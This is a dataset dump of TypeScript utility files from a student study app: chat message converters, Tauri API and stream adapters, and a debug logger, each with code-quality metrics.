{"qsc_code_num_words": 229, "qsc_code_num_chars": 2365.0, "qsc_code_mean_word_length": 6.22707424, "qsc_code_frac_words_unique": 0.38864629, "qsc_code_frac_chars_top_2grams": 0.05610098, "qsc_code_frac_chars_top_3grams": 0.05049088, "qsc_code_frac_chars_top_4grams": 0.04628331, "qsc_code_frac_chars_dupe_5grams": 0.09817672, "qsc_code_frac_chars_dupe_6grams": 0.04347826, "qsc_code_frac_chars_dupe_7grams": 0.04347826, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00508475, "qsc_code_frac_chars_whitespace": 0.25158562, "qsc_code_size_file_byte": 2365.0, "qsc_code_num_lines": 85.0, "qsc_code_num_chars_line_max": 98.0, "qsc_code_num_chars_line_mean": 27.82352941, "qsc_code_frac_chars_alphabet": 0.79548023, "qsc_code_frac_chars_comments": 0.05581395, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.08196721, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02372426, "qsc_code_frac_chars_long_word_length": 0.00940018, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/utils/chatMessageConverter.ts
|
/**
* Chat Message Converter
*
* Utilities for converting between different chat message formats.
* Single responsibility: Message format conversion.
*/
export interface ChatMessage {
id: string;
role: 'user' | 'assistant' | 'system';
content: string;
thinking_content?: string;
timestamp?: string;
}
export interface TauriChatMessage {
role: string;
content: string;
thinking_content?: string;
timestamp?: string;
}
/**
* Convert Tauri chat history to standard ChatMessage format
*/
export function convertFromTauriFormat(tauriHistory: TauriChatMessage[]): ChatMessage[] {
return tauriHistory.map((msg, index) => ({
id: `msg-${Date.now()}-${index}`,
role: msg.role as 'user' | 'assistant' | 'system',
content: msg.content,
thinking_content: msg.thinking_content,
timestamp: msg.timestamp || new Date().toISOString()
}));
}
/**
* Convert ChatMessage format to Tauri backend format
*/
export function convertToTauriFormat(messages: ChatMessage[]): TauriChatMessage[] {
return messages.map(msg => ({
role: msg.role,
content: msg.content,
thinking_content: msg.thinking_content,
timestamp: msg.timestamp || new Date().toISOString()
}));
}
/**
* Create a new chat message
*/
export function createChatMessage(
role: 'user' | 'assistant' | 'system',
content: string,
thinking_content?: string
): ChatMessage {
return {
id: `msg-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
role,
content,
thinking_content,
timestamp: new Date().toISOString()
};
}
/**
* Merge thinking content into a chat message
*/
export function addThinkingToMessage(message: ChatMessage, thinking: string): ChatMessage {
return {
...message,
thinking_content: (message.thinking_content || '') + thinking
};
}
/**
* Update message content
*/
export function updateMessageContent(message: ChatMessage, content: string): ChatMessage {
return {
...message,
content
};
}
| 1,983
|
chatMessageConverter
|
ts
|
en
|
typescript
|
code
|
{"qsc_code_num_words": 198, "qsc_code_num_chars": 1983.0, "qsc_code_mean_word_length": 6.7979798, "qsc_code_frac_words_unique": 0.30808081, "qsc_code_frac_chars_top_2grams": 0.12258544, "qsc_code_frac_chars_top_3grams": 0.0423477, "qsc_code_frac_chars_top_4grams": 0.05794948, "qsc_code_frac_chars_dupe_5grams": 0.26448737, "qsc_code_frac_chars_dupe_6grams": 0.26448737, "qsc_code_frac_chars_dupe_7grams": 0.26448737, "qsc_code_frac_chars_dupe_8grams": 0.21693908, "qsc_code_frac_chars_dupe_9grams": 0.21693908, "qsc_code_frac_chars_dupe_10grams": 0.13224368, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00245549, "qsc_code_frac_chars_whitespace": 0.1785174, "qsc_code_size_file_byte": 1983.0, "qsc_code_num_lines": 83.0, "qsc_code_num_chars_line_max": 92.0, "qsc_code_num_chars_line_mean": 23.89156627, "qsc_code_frac_chars_alphabet": 0.82381829, "qsc_code_frac_chars_comments": 0.20625315, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.4, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.03619048, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/utils/simplifiedApiAdapter.ts
|
/**
* Simplified API Adapter
*
* Replaces the complex aiSdkAdapter.ts with a simpler implementation
* that leverages the unified stream handler.
*/
import { invoke } from '@tauri-apps/api/core';
import { unifiedStreamHandler, StreamRequest, StreamOptions, StreamMessage as _StreamMessage } from './unifiedStreamHandler';
export interface ChatMessage {
id: string;
role: 'user' | 'assistant' | 'system';
content: string;
thinking_content?: string;
timestamp?: string;
}
export interface AnalysisRequest {
imageData?: string;
userInput?: string;
chatHistory?: ChatMessage[];
enableChainOfThought?: boolean;
}
/**
* Simplified API calls that use the unified stream handler
*/
export const simplifiedApi = {
/**
* Analyze step by step with streaming
*/
async analyzeStepByStep(
imageData: string,
userInput: string,
options: StreamOptions & { enableChainOfThought?: boolean } = {}
): Promise<string> {
const request: StreamRequest = {
type: 'analysis',
imageData,
userInput,
enableChainOfThought: options.enableChainOfThought !== false
};
return unifiedStreamHandler.startStream(request, options);
},
/**
* Start chat with streaming
*/
async startChat(
chatHistory: ChatMessage[] = [],
options: StreamOptions & { enableChainOfThought?: boolean } = {}
): Promise<string> {
const request: StreamRequest = {
type: 'chat',
chatHistory: chatHistory.map(msg => ({
id: msg.id,
role: msg.role,
content: msg.content,
thinking_content: msg.thinking_content,
timestamp: msg.timestamp || new Date().toISOString()
})),
enableChainOfThought: options.enableChainOfThought !== false
};
return unifiedStreamHandler.startStream(request, options);
},
/**
* Continue chat with streaming
*/
async continueChat(
tempId: string,
chatHistory: ChatMessage[] = [],
options: StreamOptions & { enableChainOfThought?: boolean } = {}
): Promise<string> {
const request: StreamRequest = {
type: 'continue_chat',
tempId,
chatHistory: chatHistory.map(msg => ({
id: msg.id,
role: msg.role,
content: msg.content,
thinking_content: msg.thinking_content,
timestamp: msg.timestamp || new Date().toISOString()
})),
enableChainOfThought: options.enableChainOfThought !== false
};
return unifiedStreamHandler.startStream(request, options);
},
/**
* Stop a specific stream
*/
stopStream(streamId: string): void {
unifiedStreamHandler.stopStream(streamId);
},
/**
* Stop all streams
*/
stopAllStreams(): void {
unifiedStreamHandler.stopAllStreams();
},
/**
* Get current progress for a stream
*/
getStreamProgress(streamId: string): { content: string; thinking: string } | null {
return unifiedStreamHandler.getProgress(streamId);
},
/**
* Check if a stream is active
*/
isStreamActive(streamId: string): boolean {
return unifiedStreamHandler.isStreamActive(streamId);
}
};
/**
* Non-streaming utility functions for direct backend calls
*/
export const directApi = {
async getMistakeChatHistory(mistakeId: number): Promise<ChatMessage[]> {
const result = await invoke('get_mistake_chat_history', { mistakeId });
return this.convertChatHistory(result as any[]);
},
async getAllMistakes(): Promise<any[]> {
return invoke('get_all_mistakes');
},
async saveMistake(mistake: any): Promise<number> {
return invoke('save_mistake', { mistake });
},
async deleteMistake(mistakeId: number): Promise<void> {
return invoke('delete_mistake', { mistakeId });
},
async updateMistake(mistakeId: number, updates: any): Promise<void> {
return invoke('update_mistake', { mistakeId, updates });
},
async getApiConfigurations(): Promise<any> {
return invoke('get_api_configurations');
},
async saveApiConfigurations(configs: any): Promise<void> {
return invoke('save_api_configurations', { configs });
},
/**
* Convert backend chat history to frontend format
*/
convertChatHistory(backendHistory: any[]): ChatMessage[] {
return backendHistory.map((msg, index) => ({
id: msg.id || `msg-${index}`,
role: msg.role as 'user' | 'assistant',
content: msg.content || '',
thinking_content: msg.thinking_content,
timestamp: msg.timestamp || new Date().toISOString()
}));
},
/**
* Convert frontend messages to backend format
*/
convertToBackendFormat(messages: ChatMessage[]): any[] {
return messages.map(msg => ({
role: msg.role,
content: msg.content,
thinking_content: msg.thinking_content,
timestamp: msg.timestamp || new Date().toISOString()
}));
}
};
/**
* Combined API object that includes both streaming and direct calls
*/
export const api = {
...simplifiedApi,
...directApi
};
// Export individual functions for backward compatibility
export const {
analyzeStepByStep,
startChat,
continueChat,
stopStream,
stopAllStreams,
getStreamProgress,
isStreamActive
} = simplifiedApi;
export const {
getMistakeChatHistory,
getAllMistakes,
saveMistake,
deleteMistake,
updateMistake,
getApiConfigurations,
saveApiConfigurations,
convertChatHistory,
convertToBackendFormat
} = directApi;
| 5,384
|
simplifiedApiAdapter
|
ts
|
en
|
typescript
|
code
|
{"qsc_code_num_words": 478, "qsc_code_num_chars": 5384.0, "qsc_code_mean_word_length": 7.5083682, "qsc_code_frac_words_unique": 0.29288703, "qsc_code_frac_chars_top_2grams": 0.03761493, "qsc_code_frac_chars_top_3grams": 0.01225968, "qsc_code_frac_chars_top_4grams": 0.02786291, "qsc_code_frac_chars_dupe_5grams": 0.32906102, "qsc_code_frac_chars_dupe_6grams": 0.30064085, "qsc_code_frac_chars_dupe_7grams": 0.30064085, "qsc_code_frac_chars_dupe_8grams": 0.30064085, "qsc_code_frac_chars_dupe_9grams": 0.30064085, "qsc_code_frac_chars_dupe_10grams": 0.27194205, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0, "qsc_code_frac_chars_whitespace": 0.20802377, "qsc_code_size_file_byte": 5384.0, "qsc_code_num_lines": 211.0, "qsc_code_num_chars_line_max": 126.0, "qsc_code_num_chars_line_mean": 25.51658768, "qsc_code_frac_chars_alphabet": 0.84169794, "qsc_code_frac_chars_comments": 0.15434621, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.32867133, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.04918753, "qsc_code_frac_chars_long_word_length": 0.01998243, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/utils/debugLogger.ts
|
/**
* 调试日志记录模块
* 用于追踪RAG内容显示、聊天记录保存、聊天记录串号等关键问题
*/
import { invoke } from '@tauri-apps/api/core';
export type LogLevel = 'DEBUG' | 'INFO' | 'WARN' | 'ERROR' | 'TRACE';
export interface LogEntry {
timestamp: string;
level: LogLevel;
module: string;
operation: string;
data: any;
context?: {
userId?: string;
sessionId?: string;
mistakeId?: string;
streamId?: string;
businessId?: string;
};
stackTrace?: string;
}
export interface ChatRecordDebugInfo {
action: 'LOAD' | 'SAVE' | 'DISPLAY' | 'MISMATCH';
mistakeId: string;
expectedChatHistory?: any[];
actualChatHistory?: any[];
ragSources?: any[];
thinkingContent?: Map<number, string>;
streamingState?: any;
}
export interface RAGDebugInfo {
action: 'QUERY' | 'RESPONSE' | 'DISPLAY' | 'MISSING';
query?: string;
sources?: any[];
displayedSources?: any[];
expectedCount?: number;
actualCount?: number;
ragEnabled?: boolean;
ragTopK?: number;
}
class DebugLogger {
private logQueue: LogEntry[] = [];
private flushInterval: number | null = null;
private maxQueueSize = 100;
constructor() {
this.startAutoFlush();
this.setupErrorHandlers();
}
/**
* 记录聊天记录相关的调试信息
*/
async logChatRecord(
level: LogLevel,
operation: string,
debugInfo: ChatRecordDebugInfo,
additionalData?: any
) {
const logEntry: LogEntry = {
timestamp: new Date().toISOString(),
level,
module: 'CHAT_RECORD',
operation,
data: {
debugInfo,
additionalData,
// 添加详细的聊天记录比较信息
chatHistoryComparison: debugInfo.action === 'MISMATCH' ? {
expectedLength: debugInfo.expectedChatHistory?.length || 0,
actualLength: debugInfo.actualChatHistory?.length || 0,
firstMismatchIndex: this.findFirstMismatch(
debugInfo.expectedChatHistory || [],
debugInfo.actualChatHistory || []
)
} : undefined
},
context: {
mistakeId: debugInfo.mistakeId,
sessionId: this.getCurrentSessionId(),
businessId: debugInfo.mistakeId
},
stackTrace: level === 'ERROR' ? new Error().stack : undefined
};
await this.addLog(logEntry);
// 立即输出严重问题
if (level === 'ERROR' || debugInfo.action === 'MISMATCH') {
console.error('🚨 [CHAT_RECORD_CRITICAL]', logEntry);
await this.flushLogs();
}
}
/**
* 记录RAG相关的调试信息
*/
async logRAG(
level: LogLevel,
operation: string,
debugInfo: RAGDebugInfo,
additionalData?: any
) {
const logEntry: LogEntry = {
timestamp: new Date().toISOString(),
level,
module: 'RAG',
operation,
data: {
debugInfo,
additionalData,
// 添加RAG状态检查
ragStateCheck: {
ragEnabled: debugInfo.ragEnabled,
expectedSources: debugInfo.expectedCount || 0,
actualSources: debugInfo.actualCount || 0,
missingSourcesCount: (debugInfo.expectedCount || 0) - (debugInfo.actualCount || 0)
}
},
context: {
sessionId: this.getCurrentSessionId()
},
stackTrace: level === 'ERROR' ? new Error().stack : undefined
};
await this.addLog(logEntry);
// 立即输出RAG问题
if (level === 'ERROR' || debugInfo.action === 'MISSING') {
console.error('🚨 [RAG_CRITICAL]', logEntry);
await this.flushLogs();
}
}
/**
* 记录通用调试信息
*/
async log(
level: LogLevel,
module: string,
operation: string,
data: any,
context?: any
) {
const logEntry: LogEntry = {
timestamp: new Date().toISOString(),
level,
module,
operation,
data,
context: {
...context,
sessionId: this.getCurrentSessionId()
},
stackTrace: level === 'ERROR' ? new Error().stack : undefined
};
await this.addLog(logEntry);
if (level === 'ERROR') {
console.error(`🚨 [${module}_ERROR]`, logEntry);
await this.flushLogs();
}
}
/**
* 记录组件状态变化
*/
async logStateChange(
component: string,
operation: string,
oldState: any,
newState: any,
trigger?: string
) {
const logEntry: LogEntry = {
timestamp: new Date().toISOString(),
level: 'TRACE',
module: 'STATE_CHANGE',
operation: `${component}.${operation}`,
data: {
component,
oldState: this.sanitizeState(oldState),
newState: this.sanitizeState(newState),
stateDiff: this.calculateStateDiff(oldState, newState),
trigger
},
context: {
sessionId: this.getCurrentSessionId()
}
};
await this.addLog(logEntry);
}
/**
* 记录流式处理相关信息
*/
async logStreaming(
operation: string,
streamId: string,
eventType: string,
payload: any,
additionalInfo?: any
) {
const logEntry: LogEntry = {
timestamp: new Date().toISOString(),
level: 'DEBUG',
module: 'STREAMING',
operation,
data: {
streamId,
eventType,
payload: this.sanitizePayload(payload),
additionalInfo,
payloadSize: JSON.stringify(payload).length
},
context: {
streamId,
sessionId: this.getCurrentSessionId()
}
};
await this.addLog(logEntry);
}
/**
* 记录API调用信息
*/
async logApiCall(
operation: string,
method: string,
url: string,
request: any,
response?: any,
error?: any,
duration?: number
) {
const level: LogLevel = error ? 'ERROR' : 'INFO';
const logEntry: LogEntry = {
timestamp: new Date().toISOString(),
level,
module: 'API',
operation,
data: {
method,
url,
request: this.sanitizeRequest(request),
response: this.sanitizeResponse(response),
error: error ? {
message: error.message,
code: error.code,
stack: error.stack
} : undefined,
duration: duration ? `${duration}ms` : undefined
},
context: {
sessionId: this.getCurrentSessionId()
},
stackTrace: error ? new Error().stack : undefined
};
await this.addLog(logEntry);
if (error) {
console.error('🚨 [API_ERROR]', logEntry);
await this.flushLogs();
}
}
private async addLog(logEntry: LogEntry) {
this.logQueue.push(logEntry);
// 队列满了就立即刷新
if (this.logQueue.length >= this.maxQueueSize) {
await this.flushLogs();
}
}
private async flushLogs() {
if (this.logQueue.length === 0) return;
const logsToFlush = [...this.logQueue];
this.logQueue = [];
try {
// 调用后端写入日志文件
await invoke('write_debug_logs', { logs: logsToFlush });
} catch (error) {
console.error('Failed to write debug logs:', error);
// 如果后端写入失败，至少在浏览器控制台输出
console.group('📋 Debug Logs (Backend Write Failed)');
logsToFlush.forEach(log => {
const prefix = `[${log.timestamp}] [${log.level}] [${log.module}]`;
switch (log.level) {
case 'ERROR':
console.error(prefix, log);
break;
case 'WARN':
console.warn(prefix, log);
break;
case 'DEBUG':
case 'TRACE':
console.debug(prefix, log);
break;
default:
console.log(prefix, log);
}
});
console.groupEnd();
}
}
private startAutoFlush() {
// 每5秒自动刷新一次日志
this.flushInterval = window.setInterval(() => {
this.flushLogs();
}, 5000);
}
private setupErrorHandlers() {
// 捕获未处理的错误
window.addEventListener('error', (event) => {
this.log('ERROR', 'GLOBAL', 'UNHANDLED_ERROR', {
message: event.message,
filename: event.filename,
lineno: event.lineno,
colno: event.colno,
error: event.error
});
});
// 捕获Promise拒绝
window.addEventListener('unhandledrejection', (event) => {
this.log('ERROR', 'GLOBAL', 'UNHANDLED_REJECTION', {
reason: event.reason,
promise: event.promise
});
});
}
private findFirstMismatch(expected: any[], actual: any[]): number {
const minLength = Math.min(expected.length, actual.length);
for (let i = 0; i < minLength; i++) {
if (JSON.stringify(expected[i]) !== JSON.stringify(actual[i])) {
return i;
}
}
return expected.length !== actual.length ? minLength : -1;
}
private calculateStateDiff(oldState: any, newState: any) {
if (typeof oldState !== 'object' || typeof newState !== 'object') {
return { changed: oldState !== newState };
}
const changes: any = {};
const allKeys = new Set([...Object.keys(oldState || {}), ...Object.keys(newState || {})]);
for (const key of allKeys) {
if (oldState?.[key] !== newState?.[key]) {
changes[key] = {
from: oldState?.[key],
to: newState?.[key]
};
}
}
return changes;
}
private sanitizeState(state: any) {
if (!state) return state;
// 避免记录过大的状态对象
const sanitized = { ...state };
// 限制聊天历史长度
if (sanitized.chatHistory && Array.isArray(sanitized.chatHistory)) {
if (sanitized.chatHistory.length > 10) {
sanitized.chatHistory = [
...sanitized.chatHistory.slice(0, 5),
{ _truncated: `... ${sanitized.chatHistory.length - 10} items ...` },
...sanitized.chatHistory.slice(-5)
];
}
}
// 限制思维链内容
if (sanitized.thinkingContent instanceof Map) {
sanitized.thinkingContent = Object.fromEntries(sanitized.thinkingContent);
}
return sanitized;
}
private sanitizePayload(payload: any) {
if (!payload) return payload;
// 限制payload大小
const str = JSON.stringify(payload);
if (str.length > 1000) {
return {
_truncated: true,
_originalSize: str.length,
_preview: str.substring(0, 500) + '...'
};
}
return payload;
}
private sanitizeRequest(request: any) {
if (!request) return request;
const sanitized = { ...request };
// 移除敏感信息
if (sanitized.password) sanitized.password = '[REDACTED]';
if (sanitized.apiKey) sanitized.apiKey = '[REDACTED]';
if (sanitized.token) sanitized.token = '[REDACTED]';
return sanitized;
}
private sanitizeResponse(response: any) {
return this.sanitizePayload(response);
}
private getCurrentSessionId(): string {
// 获取当前会话ID，可以从localStorage或其他地方获取
return localStorage.getItem('debug-session-id') ||
`session-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`;
}
/**
* 清理资源
*/
destroy() {
if (this.flushInterval) {
clearInterval(this.flushInterval);
this.flushInterval = null;
}
this.flushLogs();
}
}
// 导出单例实例
export const debugLogger = new DebugLogger();
// 便捷方法
export const logChatRecord = debugLogger.logChatRecord.bind(debugLogger);
export const logRAG = debugLogger.logRAG.bind(debugLogger);
export const logStateChange = debugLogger.logStateChange.bind(debugLogger);
export const logStreaming = debugLogger.logStreaming.bind(debugLogger);
export const logApiCall = debugLogger.logApiCall.bind(debugLogger);
export const log = debugLogger.log.bind(debugLogger);
// 确保页面卸载时清理日志
window.addEventListener('beforeunload', () => {
debugLogger.destroy();
});
| 11,423
|
debugLogger
|
ts
|
en
|
typescript
|
code
|
{"qsc_code_num_words": 976, "qsc_code_num_chars": 11423.0, "qsc_code_mean_word_length": 6.88729508, "qsc_code_frac_words_unique": 0.25614754, "qsc_code_frac_chars_top_2grams": 0.01472776, "qsc_code_frac_chars_top_3grams": 0.01874442, "qsc_code_frac_chars_top_4grams": 0.02677774, "qsc_code_frac_chars_dupe_5grams": 0.19934543, "qsc_code_frac_chars_dupe_6grams": 0.14742636, "qsc_code_frac_chars_dupe_7grams": 0.13790539, "qsc_code_frac_chars_dupe_8grams": 0.12154121, "qsc_code_frac_chars_dupe_9grams": 0.11365665, "qsc_code_frac_chars_dupe_10grams": 0.080482, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00433787, "qsc_code_frac_chars_whitespace": 0.27348332, "qsc_code_size_file_byte": 11423.0, "qsc_code_num_lines": 468.0, "qsc_code_num_chars_line_max": 95.0, "qsc_code_num_chars_line_mean": 24.40811966, "qsc_code_frac_chars_alphabet": 0.80503675, "qsc_code_frac_chars_comments": 0.04219557, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.25945946, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.04615244, "qsc_code_frac_chars_long_word_length": 0.0020106, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/utils/aiSdkAdapter.ts
|
/**
* AI SDK Adapter for Tauri Backend
*
* Simplified adapter focused on AI SDK integration.
* Uses separated modules for stream handling and API communication.
*/
import { createAnalysisStream, createChatStream } from './tauriStreamAdapter';
import { tauriApiClient } from './tauriApiClient';
import { convertToTauriFormat, type ChatMessage } from './chatMessageConverter';
export interface AnalysisRequest {
imageData?: string;
userInput?: string;
chatHistory?: ChatMessage[];
enableChainOfThought?: boolean;
}
/**
* Custom fetch implementation for AI SDK compatibility
* Routes requests to appropriate stream handlers
*/
export async function createTauriStreamingFetch(
url: string,
options: RequestInit & { body?: string }
): Promise<Response> {
const requestData = JSON.parse(options.body as string);
if (url.includes('/api/analysis')) {
const { imageData, userInput, enableChainOfThought = true } = requestData;
return createAnalysisStream(imageData, userInput, enableChainOfThought);
}
if (url.includes('/api/chat') || url.includes('/api/continue-chat')) {
const { tempId, chatHistory, enableChainOfThought = true } = requestData;
const tauriHistory = convertToTauriFormat(chatHistory || []);
return createChatStream(tempId, tauriHistory, enableChainOfThought);
}
throw new Error(`Unsupported endpoint: ${url}`);
}
/**
* Create a custom fetch function for AI SDK
*/
export function createAISdkFetch() {
return async (input: RequestInfo | URL, init?: RequestInit) => {
const url = typeof input === 'string' ? input : input.toString();
const options = { ...init, body: init?.body as string };
if (url.startsWith('/api/')) {
return createTauriStreamingFetch(url, options);
}
return fetch(input, init);
};
}
/**
* Simplified API adapter using the dedicated client
*/
export const tauriApiAdapter = {
async analyzeStepByStep(imageData: string, userInput: string, enableChainOfThought = true) {
const base64Data = imageData.startsWith('data:') ? imageData : `data:image/jpeg;base64,${imageData}`;
return tauriApiClient.analyzeStepByStep({
subject: "数学",
question_image_files: [base64Data],
analysis_image_files: [],
user_question: userInput,
enable_chain_of_thought: enableChainOfThought
});
},
async getChatHistory(tempId: string) {
console.log('getChatHistory called for tempId:', tempId);
return [];
},
async startStreamingAnswer(tempId: string, enableChainOfThought = true) {
return tauriApiClient.startStreamingAnswer(tempId, enableChainOfThought);
},
async continueChatStream(tempId: string, chatHistory: any[], enableChainOfThought = true) {
return tauriApiClient.continueChatStream(tempId, chatHistory, enableChainOfThought);
},
async getMistakeChatHistory(mistakeId: number) {
return tauriApiClient.getMistakeChatHistory(mistakeId);
},
async getAllMistakes() {
return tauriApiClient.getAllMistakes();
}
};
| 3,037
|
aiSdkAdapter
|
ts
|
en
|
typescript
|
code
|
{"qsc_code_num_words": 273, "qsc_code_num_chars": 3037.0, "qsc_code_mean_word_length": 7.91575092, "qsc_code_frac_words_unique": 0.41758242, "qsc_code_frac_chars_top_2grams": 0.05552985, "qsc_code_frac_chars_top_3grams": 0.01943545, "qsc_code_frac_chars_top_4grams": 0.02776492, "qsc_code_frac_chars_dupe_5grams": 0.01573346, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00239044, "qsc_code_frac_chars_whitespace": 0.17352651, "qsc_code_size_file_byte": 3037.0, "qsc_code_num_lines": 95.0, "qsc_code_num_chars_line_max": 106.0, "qsc_code_num_chars_line_mean": 31.96842105, "qsc_code_frac_chars_alphabet": 0.85856574, "qsc_code_frac_chars_comments": 0.12973329, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 